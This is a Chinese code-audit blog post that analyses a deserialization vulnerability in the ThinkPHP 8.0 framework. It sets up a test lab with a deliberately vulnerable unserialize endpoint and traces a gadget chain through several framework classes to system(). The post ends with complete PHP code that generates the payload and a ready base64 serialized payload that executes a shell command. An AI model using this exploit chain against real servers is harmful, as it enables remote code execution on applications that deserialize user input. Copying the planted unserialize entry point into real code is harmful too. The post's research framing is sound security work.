点击蓝字 关注我们
日期:2024年09月11日 作者:Obsidian 介绍:ThinkPHP8的反序列化分析。
0x01 前期准备
ThinkPHP
是一个免费开源的,快速、简单的面向对象的轻量级PHP
开发框架。ThinkPHP8.0
基于PHP8.0
对6.1
版本进行了重构和优化,并更加规范化,在2023
年06
年30
日发布。学习它的反序列化漏洞,需要对PHP
基础、反序列化基础、类与对象以及命名空间的概念有所了解。
参考资料:
-
https://www.php.net/manual/zh/langref.php
-
https://www.php.net/manual/zh/language.oop5.php
-
https://www.php.net/manual/zh/language.namespaces.php
在了解完基础概念之后,需要进行测试环境搭建。
安装 ThinkPHP8.0
可使用composer
一步到位,在任意目录下,例如/root/
,执行以下命令:
#安装php8.0及所需依赖
apt install software-properties-common
add-apt-repository ppa:ondrej/php
apt intall php zip unzip php-zip
#安装composer
curl -sS https://getcomposer.org/installer | php
mv composer.phar /usr/local/bin/composer
#使用composer安装ThinkPHP最新版
composer create-project topthink/think tp
安装完成后,还需要进行启动:
cd tp
php think run
完成之后,访问系统的8000
端口,如果内容与下图一致,说明搭建成功。
如果无法正常显示页面可能是网络问题哦
之后需要添加一个反序列化漏洞的入口:
可以在文件routes/web.php
中,修改如下代码,增加反序列化利用点:
public function index(){
@unserialize(base64_decode($_GET['test']));
return 'test';
}
之后访问8000
端口,进行测试即可。
0x02 漏洞分析及复现
常规而言,反序列化漏洞的触发点一般是__wakeup()
或者__destruct()
,于是全局搜索相关方法:
在查看了所有的类之后,选择了ResourceRegister
作为反序列化的起点,简化代码如下:
namespace thinkroute;
class ResourceRegister{
protected $resource;
protected function register(){
$this->resource->parseGroupRule($this->resource->getRule());
}
public function __destruct(){
$this->register();
}
}
从以上代码可以发现,我们需要找到一个类,同时存在parseGroupRule
和getRule
方法,于是全局搜索相关方法:
最终发现,Resource
继承RuleGroup
,RuleGroup
继承Rule
,同时满足以上条件,简化代码如下:
namespace thinkroute;
class Rule{}
class RuleGroup extends Rule{}
class Resource extends RuleGroup{
protected $option = [];
protected $rule;
public function getRule(){
return $this->rule;
}
public function parseGroupRule($rule): void{
$option = $this->option;
if (str_contains($rule, '.')) {
$array = explode('.', $rule);
$item = [];
foreach ($array as $val) {
$item[] = $val . '/<' . ($option['var'][$val] ?? $val . '_id') . '>';
}
}
}
}
首先,getRule
方法返回了$this->rule
,变量可控。parseGroupRule
方法对传入的$this->rule
进行了判断和处理,最终需要$this->rule
变量变成aaa.bbb
的字符串形式,满足条件后,会进行foreach
操作,对$this->option['var']['aaa']
进行了字符串拼接操作,可以触发__toString()
方法,于是全局搜索相关方法:
最终选择了Conversion
进行利用,简化代码如下:
namespace thinkmodelconcern;
trait Conversion
{
protected $visible = [];
protected $append = [];
private $relation = [];
public function __toString(){
return $this->toJson();
}
public function toJson(int $options = JSON_UNESCAPED_UNICODE): string{
return json_encode($this->toArray(), $options);
}
public function toArray(): array{
$item = $visible = $hidden = [];
foreach ($this->visible as $key => $val) {
if (is_string($val)) {
//......
} else {
$visible[$key] = $val;
}
}
foreach ($this->append as $key => $name) {
$this->appendAttrToArray($item, $key, $name, $visible, $hidden);
}
return $item;
}
protected function appendAttrToArray(array &$item, $key, array | string $name, array $visible, array $hidden): void{
if (is_array($name)) {
$relation = $this->getRelationWith($key, $hidden, $visible);
}
}
protected function getRelationWith(string $key, array $hidden, array $visible){
$relation = $this->getRelation($key, true);
if ($relation) {
if (isset($visible[$key])) {
$relation->visible($visible[$key]);
}
}
return $relation;
}
public function getRelation(string $name = null, bool $auto = false){
if (array_key_exists($name, $this->relation)) {
return $this->relation[$name];
}
}
}
__toString
触发toJson()
方法,然后继续触发toArray()
方法,对$this->visible
进行了判断和操作,限制条件是数组的值不能是字符串,这里可以先采用数组的形式进行绕过。然后对$this->append
进行了foreach
,触发了appendAttrToArray()
,这里对$this->append
进行了判断,要求数组值必须是数组,之后触发getRelationWith()
方法。getRelation()
要求$this->append
与$this->relation
、$this->visible
拥有同样的数组键值。例如,$this->append['x']=['x'];$this->relation['x']='aaa';$this->visible['x']=['bbb'];
。最终可以触发aaa
的__call
方法,参数是['bbb']
。
但是Conversion
类使用了trait
定义,无法进行实例化,所以需要找到使用Conversion
的其他类,于是全局搜索相关内容:
找到Model
类。
abstract class Model {}
但是Model
类是抽象类,同样无法使用,继续寻找继承Model
类的其他类:
最终找到Pivot
,可以用它来替代Conversion
类使用,之后需要寻找可用的__call
方法:
绝大部分的方法都限制了只能使用当前类的方法,或者对返回值做了限制,最终使用了Validate
,简化代码如下:
namespace think;
class Validate{
protected $type;
public function __call($method, $args){
array_push($args, lcfirst($method));
return call_user_func_array([$this, 'is'], $args);
}
public function is($value, string $rule, array $data = []): bool{
$call = function ($value, $rule) {
if (isset($this->type[$rule])) {
$result = call_user_func_array($this->type[$rule], [$value]);
}
return $result;
};
return match (Str::camel($rule)) {
default => $call($value, $rule)
};
}
}
通过__call
方法触发了自身的is
方法,此时is
方法的三个参数分别是$value=['bbb'],$rule='visible',$data=[]
。最终通过call_user_func_array
进行命令执行,方法名是$this->type['visible']
,参数值是['bbb']
。很明显,我们可以设置$this->type['visible']='system'
,但是参数是数组,无法利用。
此时回到最开始设置数组的地方,当时是为了绕过is_string
,那么我们可以使用类的__toString
方法进行绕过,找到一个ConstStub
类,简化代码如下:
namespace SymfonyComponentVarDumperCaster;
class ConstStub{
public $value;
public function __toString(): string
{
return (string) $this->value;
}
}
可以将['bbb']
替换为new ConstStub()
,通过将命令设置为$this->value
进行绕过,调用链如下:
at ResourceRegister->__destruct() in Index.php
at ResourceRegister->register() in ResourceRegister.php
at Resource->parseGroupRule() in ResourceRegister.php
at Model->__toString() in Resource.php
at Model->toJson() in Conversion.php
at Model->toArray() in Conversion.php
at Model->appendAttrToArray() in Conversion.php
at Model->getRelationWith() in Conversion.php
at Validate->__call() in Conversion.php
at call_user_func_array() in Validate.php
at Validate->is() in Validate.php
at call_user_func_array() in Validate.php
at ConstStub->__toString() in ConstStub.php
最终的payload
代码如下:
namespace SymfonyComponentVarDumperCaster{
class ConstStub {
public $value = 'whoami';
}
}
namespace think{
class Validate{
protected $type;
public function __construct(){
$this->type["visible"] = "system";
}
}
}
namespace thinkmodel{
use thinkValidate;
use SymfonyComponentVarDumperCasterConstStub;
class Pivot{
protected $append;
protected $visible;
private $relation;
public function __construct(){
$this->append["x"] = [];
$this->relation["x"] = new Validate();
$this->visible["x"] = new ConstStub();
}
}
}
namespace thinkroute{
use thinkmodelPivot;
class Resource{
protected $rule;
protected $option = [];
public function __construct(){
$this->rule = "x.x";
$this->option = ["var" => ["x" => new Pivot()]];
}
}
class ResourceRegister{
protected $resource;
public function __construct(){
$this->resource = new Resource();
}
}
}
namespace{
use thinkrouteResourceRegister;
$payload = new ResourceRegister();
echo base64_encode(serialize($payload));
}
//TzoyODoidGhpbmtccm91dGVcUmVzb3VyY2VSZWdpc3RlciI6MTp7czoxMToiACoAcmVzb3VyY2UiO086MjA6InRoaW5rXHJvdXRlXFJlc291cmNlIjoyOntzOjc6IgAqAHJ1bGUiO3M6MzoieC54IjtzOjk6IgAqAG9wdGlvbiI7YToxOntzOjM6InZhciI7YToxOntzOjE6IngiO086MTc6InRoaW5rXG1vZGVsXFBpdm90IjozOntzOjk6IgAqAGFwcGVuZCI7YToxOntzOjE6IngiO2E6MDp7fX1zOjEwOiIAKgB2aXNpYmxlIjthOjE6e3M6MToieCI7Tzo0NDoiU3ltZm9ueVxDb21wb25lbnRcVmFyRHVtcGVyXENhc3RlclxDb25zdFN0dWIiOjE6e3M6NToidmFsdWUiO3M6Njoid2hvYW1pIjt9fXM6Mjc6IgB0aGlua1xtb2RlbFxQaXZvdAByZWxhdGlvbiI7YToxOntzOjE6IngiO086MTQ6InRoaW5rXFZhbGlkYXRlIjoxOntzOjc6IgAqAHR5cGUiO2E6MTp7czo3OiJ2aXNpYmxlIjtzOjY6InN5c3RlbSI7fX19fX19fX0=
0x03 总结
ThinkPHP
框架的全部反序列化利用链要比之前分析过的yii2
框架和Laravel
框架更加复杂一点。之前没有对前置版本5.0
和6.0
的反序列化进行分析过,本次算是ThinkPHP
框架的第一次分析,后续如果官方更新后,也会继续尝试进行分析。免责声明:本文仅供安全研究与讨论之用,严禁用于非法用途,违者后果自负。
原文始发于微信公众号(宸极实验室):『代码审计』ThinkPHP8.0的反序列化分析